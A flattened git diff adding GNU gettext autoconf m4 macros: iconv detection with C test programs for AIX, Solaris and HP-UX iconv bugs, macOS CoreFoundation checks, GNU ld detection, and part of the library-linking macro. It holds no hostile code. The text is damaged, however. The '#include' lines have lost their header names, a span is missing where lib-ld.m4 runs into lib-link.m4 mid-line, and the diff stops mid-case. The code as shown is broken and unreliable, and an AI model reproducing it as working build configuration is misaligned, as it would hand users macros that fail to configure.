AC_CACHE_CHECK([for iconv], [am_cv_func_iconv], [ + am_cv_func_iconv="no, consider installing GNU libiconv" + am_cv_lib_iconv=no + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#include + ]], + [[iconv_t cd = iconv_open("",""); + iconv(cd,NULL,NULL,NULL,NULL); + iconv_close(cd);]])], + [am_cv_func_iconv=yes]) + if test "$am_cv_func_iconv" != yes; then + am_save_LIBS="$LIBS" + LIBS="$LIBS $LIBICONV" + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#include + ]], + [[iconv_t cd = iconv_open("",""); + iconv(cd,NULL,NULL,NULL,NULL); + iconv_close(cd);]])], + [am_cv_lib_iconv=yes] + [am_cv_func_iconv=yes]) + LIBS="$am_save_LIBS" + fi + ]) + if test "$am_cv_func_iconv" = yes; then + AC_CACHE_CHECK([for working iconv], [am_cv_func_iconv_works], [ + dnl This tests against bugs in AIX 5.1, AIX 6.1..7.1, HP-UX 11.11, + dnl Solaris 10. + am_save_LIBS="$LIBS" + if test $am_cv_lib_iconv = yes; then + LIBS="$LIBS $LIBICONV" + fi + am_cv_func_iconv_works=no + for ac_iconv_const in '' 'const'; do + AC_RUN_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#include + +#ifndef ICONV_CONST +# define ICONV_CONST $ac_iconv_const +#endif + ]], + [[int result = 0; + /* Test against AIX 5.1...7.2 bug: Failures are not distinguishable from + successful returns. This is even documented in + */ + { + iconv_t cd_utf8_to_88591 = iconv_open ("ISO8859-1", "UTF-8"); + if (cd_utf8_to_88591 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\342\202\254"; /* EURO SIGN */ + char buf[10]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_utf8_to_88591, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res == 0) + result |= 1; + iconv_close (cd_utf8_to_88591); + } + } + /* Test against Solaris 10 bug: Failures are not distinguishable from + successful returns. */ + { + iconv_t cd_ascii_to_88591 = iconv_open ("ISO8859-1", "646"); + if (cd_ascii_to_88591 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\263"; + char buf[10]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_ascii_to_88591, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res == 0) + result |= 2; + iconv_close (cd_ascii_to_88591); + } + } + /* Test against AIX 6.1..7.1 bug: Buffer overrun. */ + { + iconv_t cd_88591_to_utf8 = iconv_open ("UTF-8", "ISO-8859-1"); + if (cd_88591_to_utf8 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\304"; + static char buf[2] = { (char)0xDE, (char)0xAD }; + ICONV_CONST char *inptr = input; + size_t inbytesleft = 1; + char *outptr = buf; + size_t outbytesleft = 1; + size_t res = iconv (cd_88591_to_utf8, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if (res != (size_t)(-1) || outptr - buf > 1 || buf[1] != (char)0xAD) + result |= 4; + iconv_close (cd_88591_to_utf8); + } + } +#if 0 /* This bug could be worked around by the caller. */ + /* Test against HP-UX 11.11 bug: Positive return value instead of 0. */ + { + iconv_t cd_88591_to_utf8 = iconv_open ("utf8", "iso88591"); + if (cd_88591_to_utf8 != (iconv_t)(-1)) + { + static ICONV_CONST char input[] = "\304rger mit b\366sen B\374bchen ohne Augenma\337"; + char buf[50]; + ICONV_CONST char *inptr = input; + size_t inbytesleft = strlen (input); + char *outptr = buf; + size_t outbytesleft = sizeof (buf); + size_t res = iconv (cd_88591_to_utf8, + &inptr, &inbytesleft, + &outptr, &outbytesleft); + if ((int)res > 0) + result |= 8; + iconv_close (cd_88591_to_utf8); + } + } +#endif + /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is + provided. */ + { + /* Try standardized names. */ + iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP"); + /* Try IRIX, OSF/1 names. */ + iconv_t cd2 = iconv_open ("UTF-8", "eucJP"); + /* Try AIX names. */ + iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP"); + /* Try HP-UX names. */ + iconv_t cd4 = iconv_open ("utf8", "eucJP"); + if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1) + && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1)) + result |= 16; + if (cd1 != (iconv_t)(-1)) + iconv_close (cd1); + if (cd2 != (iconv_t)(-1)) + iconv_close (cd2); + if (cd3 != (iconv_t)(-1)) + iconv_close (cd3); + if (cd4 != (iconv_t)(-1)) + iconv_close (cd4); + } + return result; +]])], + [am_cv_func_iconv_works=yes], , + [case "$host_os" in + aix* | hpux*) am_cv_func_iconv_works="guessing no" ;; + *) am_cv_func_iconv_works="guessing yes" ;; + esac]) + test "$am_cv_func_iconv_works" = no || break + done + LIBS="$am_save_LIBS" + ]) + case "$am_cv_func_iconv_works" in + *no) am_func_iconv=no am_cv_lib_iconv=no ;; + *) am_func_iconv=yes ;; + esac + else + am_func_iconv=no am_cv_lib_iconv=no + fi + if test "$am_func_iconv" = yes; then + AC_DEFINE([HAVE_ICONV], [1], + [Define if you have the iconv() function and it works.]) + fi + if test "$am_cv_lib_iconv" = yes; then + AC_MSG_CHECKING([how to link with libiconv]) + AC_MSG_RESULT([$LIBICONV]) + else + dnl If $LIBICONV didn't lead to a usable library, we don't need $INCICONV + dnl either. + CPPFLAGS="$am_save_CPPFLAGS" + LIBICONV= + LTLIBICONV= + fi + AC_SUBST([LIBICONV]) + AC_SUBST([LTLIBICONV]) +]) + +dnl Define AM_ICONV using AC_DEFUN_ONCE, in order to avoid warnings like +dnl "warning: AC_REQUIRE: `AM_ICONV' was expanded before it was required". +AC_DEFUN_ONCE([AM_ICONV], +[ + AM_ICONV_LINK + if test "$am_cv_func_iconv" = yes; then + AC_CACHE_CHECK([whether iconv is compatible with its POSIX signature], + [gl_cv_iconv_nonconst], + [AC_COMPILE_IFELSE( + [AC_LANG_PROGRAM( + [[ +#include +#include +extern +#ifdef __cplusplus +"C" +#endif +size_t iconv (iconv_t cd, char * *inbuf, size_t *inbytesleft, char * *outbuf, size_t *outbytesleft); + ]], + [[]])], + [gl_cv_iconv_nonconst=yes], + [gl_cv_iconv_nonconst=no]) + ]) + else + dnl When compiling GNU libiconv on a system that does not have iconv yet, + dnl pick the POSIX compliant declaration without 'const'. + gl_cv_iconv_nonconst=yes + fi + if test $gl_cv_iconv_nonconst = yes; then + iconv_arg1="" + else + iconv_arg1="const" + fi + AC_DEFINE_UNQUOTED([ICONV_CONST], [$iconv_arg1], + [Define as const if the declaration of iconv() needs const.]) + dnl Also substitute ICONV_CONST in the gnulib generated . + m4_ifdef([gl_ICONV_H_DEFAULTS], + [AC_REQUIRE([gl_ICONV_H_DEFAULTS]) + if test $gl_cv_iconv_nonconst != yes; then + ICONV_CONST="const" + fi + ]) + + dnl A summary result, for those packages which want to print a summary at the + dnl end of the configuration. + if test "$am_func_iconv" = yes; then + if test -n "$LIBICONV"; then + am_cv_func_iconv_summary='yes, in libiconv' + else + am_cv_func_iconv_summary='yes, in libc' + fi + else + if test "$am_cv_func_iconv" = yes; then + am_cv_func_iconv_summary='not working, consider installing GNU libiconv' + else + am_cv_func_iconv_summary='no, consider installing GNU libiconv' + fi + fi +]) diff --git a/m4/intlmacosx.m4 b/m4/intlmacosx.m4 new file mode 100644 index 00000000..3141bf8c --- /dev/null +++ b/m4/intlmacosx.m4 @@ -0,0 +1,69 @@ +# intlmacosx.m4 serial 9 (gettext-0.22.3) +dnl Copyright (C) 2004-2014, 2016, 2019-2023 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. +dnl +dnl This file can be used in projects which are not available under +dnl the GNU General Public License or the GNU Lesser General Public +dnl License but which still want to provide support for the GNU gettext +dnl functionality. +dnl Please note that the actual code of the GNU gettext library is covered +dnl by the GNU Lesser General Public License, and the rest of the GNU +dnl gettext package is covered by the GNU General Public License. +dnl They are *not* in the public domain. + +dnl Checks for special options needed on Mac OS X. +dnl Defines INTL_MACOSX_LIBS. +AC_DEFUN([gt_INTL_MACOSX], +[ + dnl Check for API introduced in Mac OS X 10.4. + AC_CACHE_CHECK([for CFPreferencesCopyAppValue], + [gt_cv_func_CFPreferencesCopyAppValue], + [gt_save_LIBS="$LIBS" + LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation" + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[#include ]], + [[CFPreferencesCopyAppValue(NULL, NULL)]])], + [gt_cv_func_CFPreferencesCopyAppValue=yes], + [gt_cv_func_CFPreferencesCopyAppValue=no]) + LIBS="$gt_save_LIBS"]) + if test $gt_cv_func_CFPreferencesCopyAppValue = yes; then + AC_DEFINE([HAVE_CFPREFERENCESCOPYAPPVALUE], [1], + [Define to 1 if you have the Mac OS X function CFPreferencesCopyAppValue in the CoreFoundation framework.]) + fi + dnl Don't check for the API introduced in Mac OS X 10.5, CFLocaleCopyCurrent, + dnl because in macOS 10.13.4 it has the following behaviour: + dnl When two or more languages are specified in the + dnl "System Preferences > Language & Region > Preferred Languages" panel, + dnl it returns en_CC where CC is the territory (even when English is not among + dnl the preferred languages!). What we want instead is what + dnl CFLocaleCopyCurrent returned in earlier macOS releases and what + dnl CFPreferencesCopyAppValue still returns, namely ll_CC where ll is the + dnl first among the preferred languages and CC is the territory. + AC_CACHE_CHECK([for CFLocaleCopyPreferredLanguages], [gt_cv_func_CFLocaleCopyPreferredLanguages], + [gt_save_LIBS="$LIBS" + LIBS="$LIBS -Wl,-framework -Wl,CoreFoundation" + AC_LINK_IFELSE( + [AC_LANG_PROGRAM( + [[#include ]], + [[CFLocaleCopyPreferredLanguages();]])], + [gt_cv_func_CFLocaleCopyPreferredLanguages=yes], + [gt_cv_func_CFLocaleCopyPreferredLanguages=no]) + LIBS="$gt_save_LIBS"]) + if test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then + AC_DEFINE([HAVE_CFLOCALECOPYPREFERREDLANGUAGES], [1], + [Define to 1 if you have the Mac OS X function CFLocaleCopyPreferredLanguages in the CoreFoundation framework.]) + fi + INTL_MACOSX_LIBS= + if test $gt_cv_func_CFPreferencesCopyAppValue = yes \ + || test $gt_cv_func_CFLocaleCopyPreferredLanguages = yes; then + dnl Starting with macOS version 14, CoreFoundation relies on CoreServices, + dnl and we have to link it in explicitly, otherwise an exception + dnl NSInvalidArgumentException "unrecognized selector sent to instance" + dnl occurs. + INTL_MACOSX_LIBS="-Wl,-framework -Wl,CoreFoundation -Wl,-framework -Wl,CoreServices" + fi + AC_SUBST([INTL_MACOSX_LIBS]) +]) diff --git a/m4/lib-ld.m4 b/m4/lib-ld.m4 new file mode 100644 index 00000000..70ca4a2e --- /dev/null +++ b/m4/lib-ld.m4 @@ -0,0 +1,168 @@ +# lib-ld.m4 serial 12 +dnl Copyright (C) 1996-2003, 2009-2023 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. + +dnl Subroutines of libtool.m4, +dnl with replacements s/_*LT_PATH/AC_LIB_PROG/ and s/lt_/acl_/ to avoid +dnl collision with libtool.m4. + +dnl From libtool-2.4. Sets the variable with_gnu_ld to yes or no. +AC_DEFUN([AC_LIB_PROG_LD_GNU], +[AC_CACHE_CHECK([if the linker ($LD) is GNU ld], [acl_cv_prog_gnu_ld], +[# I'd rather use --version here, but apparently some GNU lds only accept -v. +case `$LD -v 2>&1 /dev/null 2>&1 \ + && { (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 \ + || PATH_SEPARATOR=';' + } +fi + +if test -n "$LD"; then + AC_MSG_CHECKING([for ld]) +elif test "$GCC" = yes; then + AC_MSG_CHECKING([for ld used by $CC]) +elif test "$with_gnu_ld" = yes; then + AC_MSG_CHECKING([for GNU ld]) +else + AC_MSG_CHECKING([for non-GNU ld]) +fi +if test -n "$LD"; then + # Let the user override the test with a path. + : +else + AC_CACHE_VAL([acl_cv_path_LD], + [ + acl_cv_path_LD= # Final result of this test + ac_prog=ld # Program to search in $PATH + if test "$GCC" = yes; then + # Check if gcc -print-prog-name=ld gives a path. + case $host in + *-*-mingw* | windows*) + # gcc leaves a trailing carriage return which upsets mingw + acl_output=`($CC -print-prog-name=ld) 2>&5 | tr -d '\015'` ;; + *) + acl_output=`($CC -print-prog-name=ld) 2>&5` ;; + esac + case $acl_output in + # Accept absolute paths. + [[\\/]]* | ?:[[\\/]]*) + re_direlt='/[[^/]][[^/]]*/\.\./' + # Canonicalize the pathname of ld + acl_output=`echo "$acl_output" | sed 's%\\\\%/%g'` + while echo "$acl_output" | grep "$re_direlt" > /dev/null 2>&1; do + acl_output=`echo $acl_output | sed "s%$re_direlt%/%"` + done + # Got the pathname. No search in PATH is needed. + acl_cv_path_LD="$acl_output" + ac_prog= + ;; + "") + # If it fails, then pretend we aren't using GCC. + ;; + *) + # If it is relative, then search for the first ld in PATH. + with_gnu_ld=unknown + ;; + esac + fi + if test -n "$ac_prog"; then + # Search for $ac_prog in $PATH. + acl_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for ac_dir in $PATH; do + IFS="$acl_save_ifs" + test -z "$ac_dir" && ac_dir=. + if test -f "$ac_dir/$ac_prog" || test -f "$ac_dir/$ac_prog$ac_exeext"; then + acl_cv_path_LD="$ac_dir/$ac_prog" + # Check to see if the program is GNU ld. I'd rather use --version, + # but apparently some variants of GNU ld only accept -v. + # Break only if it was the GNU/non-GNU ld that we prefer. + case `"$acl_cv_path_LD" -v 2>&1 conftest.sh + . ./conftest.sh + rm -f ./conftest.sh + acl_cv_rpath=done + ]) + wl="$acl_cv_wl" + acl_libext="$acl_cv_libext" + acl_shlibext="$acl_cv_shlibext" + acl_libname_spec="$acl_cv_libname_spec" + acl_library_names_spec="$acl_cv_library_names_spec" + acl_hardcode_libdir_flag_spec="$acl_cv_hardcode_libdir_flag_spec" + acl_hardcode_libdir_separator="$acl_cv_hardcode_libdir_separator" + acl_hardcode_direct="$acl_cv_hardcode_direct" + acl_hardcode_minus_L="$acl_cv_hardcode_minus_L" + dnl Determine whether the user wants rpath handling at all. + AC_ARG_ENABLE([rpath], + [ --disable-rpath do not hardcode runtime library paths], + :, enable_rpath=yes) +]) + +dnl AC_LIB_FROMPACKAGE(name, package) +dnl declares that libname comes from the given package. The configure file +dnl will then not have a --with-libname-prefix option but a +dnl --with-package-prefix option. Several libraries can come from the same +dnl package. This declaration must occur before an AC_LIB_LINKFLAGS or similar +dnl macro call that searches for libname. +AC_DEFUN([AC_LIB_FROMPACKAGE], +[ + pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-], + [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])]) + define([acl_frompackage_]NAME, [$2]) + popdef([NAME]) + pushdef([PACK],[$2]) + pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-], + [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])]) + define([acl_libsinpackage_]PACKUP, + m4_ifdef([acl_libsinpackage_]PACKUP, [m4_defn([acl_libsinpackage_]PACKUP)[, ]],)[lib$1]) + popdef([PACKUP]) + popdef([PACK]) +]) + +dnl AC_LIB_LINKFLAGS_BODY(name [, dependencies]) searches for libname and +dnl the libraries corresponding to explicit and implicit dependencies. +dnl Sets the LIB${NAME}, LTLIB${NAME} and INC${NAME} variables. +dnl Also, sets the LIB${NAME}_PREFIX variable to nonempty if libname was found +dnl in ${LIB${NAME}_PREFIX}/$acl_libdirstem. +AC_DEFUN([AC_LIB_LINKFLAGS_BODY], +[ + AC_REQUIRE([AC_LIB_PREPARE_MULTILIB]) + pushdef([NAME],[m4_translit([$1],[abcdefghijklmnopqrstuvwxyz./+-], + [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])]) + pushdef([PACK],[m4_ifdef([acl_frompackage_]NAME, [acl_frompackage_]NAME, lib[$1])]) + pushdef([PACKUP],[m4_translit(PACK,[abcdefghijklmnopqrstuvwxyz./+-], + [ABCDEFGHIJKLMNOPQRSTUVWXYZ____])]) + pushdef([PACKLIBS],[m4_ifdef([acl_frompackage_]NAME, [acl_libsinpackage_]PACKUP, lib[$1])]) + dnl By default, look in $includedir and $libdir. + use_additional=yes + AC_LIB_WITH_FINAL_PREFIX([ + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + ]) + AC_ARG_WITH(PACK[-prefix], +[[ --with-]]PACK[[-prefix[=DIR] search for ]]PACKLIBS[[ in DIR/include and DIR/lib + --without-]]PACK[[-prefix don't search for ]]PACKLIBS[[ in includedir and libdir]], +[ + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + AC_LIB_WITH_FINAL_PREFIX([ + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + eval additional_libdir2=\"$exec_prefix/$acl_libdirstem2\" + eval additional_libdir3=\"$exec_prefix/$acl_libdirstem3\" + ]) + else + additional_includedir="$withval/include" + additional_libdir="$withval/$acl_libdirstem" + additional_libdir2="$withval/$acl_libdirstem2" + additional_libdir3="$withval/$acl_libdirstem3" + fi + fi +]) + if test "X$additional_libdir2" = "X$additional_libdir"; then + additional_libdir2= + fi + if test "X$additional_libdir3" = "X$additional_libdir"; then + additional_libdir3= + fi + dnl Search the library and its dependencies in $additional_libdir and + dnl $LDFLAGS. Use breadth-first search. + LIB[]NAME= + LTLIB[]NAME= + INC[]NAME= + LIB[]NAME[]_PREFIX= + dnl HAVE_LIB${NAME} is an indicator that LIB${NAME}, LTLIB${NAME} have been + dnl computed. So it has to be reset here. + HAVE_LIB[]NAME= + rpathdirs= + ltrpathdirs= + names_already_handled= + names_next_round='$1 $2' + while test -n "$names_next_round"; do + names_this_round="$names_next_round" + names_next_round= + for name in $names_this_round; do + already_handled= + for n in $names_already_handled; do + if test "$n" = "$name"; then + already_handled=yes + break + fi + done + if test -z "$already_handled"; then + names_already_handled="$names_already_handled $name" + dnl See if it was already located by an earlier AC_LIB_LINKFLAGS + dnl or AC_LIB_HAVE_LINKFLAGS call. + uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./+-|ABCDEFGHIJKLMNOPQRSTUVWXYZ____|'` + eval value=\"\$HAVE_LIB$uppername\" + if test -n "$value"; then + if test "$value" = yes; then + eval value=\"\$LIB$uppername\" + test -z "$value" || LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$value" + eval value=\"\$LTLIB$uppername\" + test -z "$value" || LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$value" + else + dnl An earlier call to AC_LIB_HAVE_LINKFLAGS has determined + dnl that this library doesn't exist. So just drop it. + : + fi + else + dnl Search the library lib$name in $additional_libdir and $LDFLAGS + dnl and the already constructed $LIBNAME/$LTLIBNAME. + found_dir= + found_la= + found_so= + found_a= + eval libname=\"$acl_libname_spec\" # typically: libname=lib$name + if test -n "$acl_shlibext"; then + shrext=".$acl_shlibext" # typically: shrext=.so + else + shrext= + fi + if test $use_additional = yes; then + for additional_libdir_variable in additional_libdir additional_libdir2 additional_libdir3; do + if test "X$found_dir" = "X"; then + eval dir=\$$additional_libdir_variable + if test -n "$dir"; then + dnl The same code as in the loop below: + dnl First look for a shared library. + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + dnl Then look for a static library. + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + fi + fi + done + fi + if test "X$found_dir" = "X"; then + for x in $LDFLAGS $LTLIB[]NAME; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + case "$x" in + -L*) + dir=`echo "X$x" | sed -e 's/^X-L//'` + dnl First look for a shared library. + if test -n "$acl_shlibext"; then + if test -f "$dir/$libname$shrext" && acl_is_expected_elfclass < "$dir/$libname$shrext"; then + found_dir="$dir" + found_so="$dir/$libname$shrext" + else + if test "$acl_library_names_spec" = '$libname$shrext$versuffix'; then + ver=`(cd "$dir" && \ + for f in "$libname$shrext".*; do echo "$f"; done \ + | sed -e "s,^$libname$shrext\\\\.,," \ + | sort -t '.' -n -r -k1,1 -k2,2 -k3,3 -k4,4 -k5,5 \ + | sed 1q ) 2>/dev/null` + if test -n "$ver" && test -f "$dir/$libname$shrext.$ver" && acl_is_expected_elfclass < "$dir/$libname$shrext.$ver"; then + found_dir="$dir" + found_so="$dir/$libname$shrext.$ver" + fi + else + eval library_names=\"$acl_library_names_spec\" + for f in $library_names; do + if test -f "$dir/$f" && acl_is_expected_elfclass < "$dir/$f"; then + found_dir="$dir" + found_so="$dir/$f" + break + fi + done + fi + fi + fi + dnl Then look for a static library. + if test "X$found_dir" = "X"; then + if test -f "$dir/$libname.$acl_libext" && ${AR-ar} -p "$dir/$libname.$acl_libext" | acl_is_expected_elfclass; then + found_dir="$dir" + found_a="$dir/$libname.$acl_libext" + fi + fi + if test "X$found_dir" != "X"; then + if test -f "$dir/$libname.la"; then + found_la="$dir/$libname.la" + fi + fi + ;; + esac + if test "X$found_dir" != "X"; then + break + fi + done + fi + if test "X$found_dir" != "X"; then + dnl Found the library. + LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$found_dir -l$name" + if test "X$found_so" != "X"; then + dnl Linking with a shared library. We attempt to hardcode its + dnl directory into the executable's runpath, unless it's the + dnl standard /usr/lib. + if test "$enable_rpath" = no \ + || test "X$found_dir" = "X/usr/$acl_libdirstem" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem2" \ + || test "X$found_dir" = "X/usr/$acl_libdirstem3"; then + dnl No hardcoding is needed. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" + else + dnl Use an explicit option to hardcode DIR into the resulting + dnl binary. + dnl Potentially add DIR to ltrpathdirs. + dnl The ltrpathdirs will be appended to $LTLIBNAME at the end. + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $found_dir" + fi + dnl The hardcoding into $LIBNAME is system dependent. + if test "$acl_hardcode_direct" = yes; then + dnl Using DIR/libNAME.so during linking hardcodes DIR into the + dnl resulting binary. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" + else + if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then + dnl Use an explicit option to hardcode DIR into the resulting + dnl binary. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" + dnl Potentially add DIR to rpathdirs. + dnl The rpathdirs will be appended to $LIBNAME at the end. + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $found_dir" + fi + else + dnl Rely on "-L$found_dir". + dnl But don't add it if it's already contained in the LDFLAGS + dnl or the already constructed $LIBNAME + haveit= + for x in $LDFLAGS $LIB[]NAME; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-L$found_dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir" + fi + if test "$acl_hardcode_minus_L" != no; then + dnl FIXME: Not sure whether we should use + dnl "-L$found_dir -l$name" or "-L$found_dir $found_so" + dnl here. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_so" + else + dnl We cannot use $acl_hardcode_runpath_var and LD_RUN_PATH + dnl here, because this doesn't fit in flags passed to the + dnl compiler. So give up. No hardcoding. This affects only + dnl very old systems. + dnl FIXME: Not sure whether we should use + dnl "-L$found_dir -l$name" or "-L$found_dir $found_so" + dnl here. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name" + fi + fi + fi + fi + else + if test "X$found_a" != "X"; then + dnl Linking with a static library. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$found_a" + else + dnl We shouldn't come here, but anyway it's good to have a + dnl fallback. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$found_dir -l$name" + fi + fi + dnl Assume the include files are nearby. + additional_includedir= + case "$found_dir" in + */$acl_libdirstem | */$acl_libdirstem/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem/"'*$,,'` + if test "$name" = '$1'; then + LIB[]NAME[]_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem2 | */$acl_libdirstem2/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem2/"'*$,,'` + if test "$name" = '$1'; then + LIB[]NAME[]_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + */$acl_libdirstem3 | */$acl_libdirstem3/) + basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e "s,/$acl_libdirstem3/"'*$,,'` + if test "$name" = '$1'; then + LIB[]NAME[]_PREFIX="$basedir" + fi + additional_includedir="$basedir/include" + ;; + esac + if test "X$additional_includedir" != "X"; then + dnl Potentially add $additional_includedir to $INCNAME. + dnl But don't add it + dnl 1. if it's the standard /usr/include, + dnl 2. if it's /usr/local/include and we are using GCC on Linux, + dnl 3. if it's already present in $CPPFLAGS or the already + dnl constructed $INCNAME, + dnl 4. if it doesn't exist as a directory. + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + for x in $CPPFLAGS $INC[]NAME; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + dnl Really add $additional_includedir to $INCNAME. + INC[]NAME="${INC[]NAME}${INC[]NAME:+ }-I$additional_includedir" + fi + fi + fi + fi + fi + dnl Look for dependencies. + if test -n "$found_la"; then + dnl Read the .la file. It defines the variables + dnl dlname, library_names, old_library, dependency_libs, current, + dnl age, revision, installed, dlopen, dlpreopen, libdir. + save_libdir="$libdir" + case "$found_la" in + */* | *\\*) . "$found_la" ;; + *) . "./$found_la" ;; + esac + libdir="$save_libdir" + dnl We use only dependency_libs. + for dep in $dependency_libs; do + case "$dep" in + -L*) + dependency_libdir=`echo "X$dep" | sed -e 's/^X-L//'` + dnl Potentially add $dependency_libdir to $LIBNAME and $LTLIBNAME. + dnl But don't add it + dnl 1. if it's the standard /usr/lib, + dnl 2. if it's /usr/local/lib and we are using GCC on Linux, + dnl 3. if it's already present in $LDFLAGS or the already + dnl constructed $LIBNAME, + dnl 4. if it doesn't exist as a directory. + if test "X$dependency_libdir" != "X/usr/$acl_libdirstem" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem2" \ + && test "X$dependency_libdir" != "X/usr/$acl_libdirstem3"; then + haveit= + if test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem2" \ + || test "X$dependency_libdir" = "X/usr/local/$acl_libdirstem3"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + haveit= + for x in $LDFLAGS $LIB[]NAME; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + dnl Really add $dependency_libdir to $LIBNAME. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-L$dependency_libdir" + fi + fi + haveit= + for x in $LDFLAGS $LTLIB[]NAME; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-L$dependency_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test -d "$dependency_libdir"; then + dnl Really add $dependency_libdir to $LTLIBNAME. + LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-L$dependency_libdir" + fi + fi + fi + fi + ;; + -R*) + 